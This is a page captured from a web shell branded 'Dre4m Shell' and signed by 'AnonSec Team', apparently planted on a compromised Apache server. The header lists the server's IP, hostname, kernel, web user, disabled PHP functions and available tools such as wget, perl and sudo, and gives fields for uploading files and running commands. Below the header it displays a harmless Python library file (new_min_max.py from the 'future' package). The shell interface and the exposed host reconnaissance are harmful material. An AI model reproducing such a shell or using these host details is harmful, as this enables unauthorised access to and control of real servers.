Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.117.91.59
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /srv/automx/env/lib64/python3.5/site-packages/future/builtins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /srv/automx/env/lib64/python3.5/site-packages/future/builtins/new_min_max.py
import itertools

from future import utils
if utils.PY2:
    from __builtin__ import max as _builtin_max, min as _builtin_min
else:
    from builtins import max as _builtin_max, min as _builtin_min

_SENTINEL = object()


def newmin(*args, **kwargs):
    return new_min_max(_builtin_min, *args, **kwargs)


def newmax(*args, **kwargs):
    return new_min_max(_builtin_max, *args, **kwargs)


def new_min_max(_builtin_func, *args, **kwargs):
    """
    To support the argument "default" introduced in python 3.4 for min and max
    :param _builtin_func: builtin min or builtin max
    :param args:
    :param kwargs:
    :return: returns the min or max based on the arguments passed
    """

    for key, _ in kwargs.items():
        if key not in set(['key', 'default']):
            raise TypeError('Illegal argument %s', key)

    if len(args) == 0:
        raise TypeError

    if len(args) != 1 and kwargs.get('default', _SENTINEL) is not _SENTINEL:
        raise TypeError

    if len(args) == 1:
        iterator = iter(args[0])
        try:
            first = next(iterator)
        except StopIteration:
            if kwargs.get('default', _SENTINEL) is not _SENTINEL:
                return kwargs.get('default')
            else:
                raise ValueError('{}() arg is an empty sequence'.format(_builtin_func.__name__))
        else:
            iterator = itertools.chain([first], iterator)
        if kwargs.get('key') is not None:
            return _builtin_func(iterator, key=kwargs.get('key'))
        else:
            return _builtin_func(iterator)

    if len(args) > 1:
        if kwargs.get('key') is not None:
            return _builtin_func(args, key=kwargs.get('key'))
        else:
            return _builtin_func(args)

Anon7 - 2022
AnonSec Team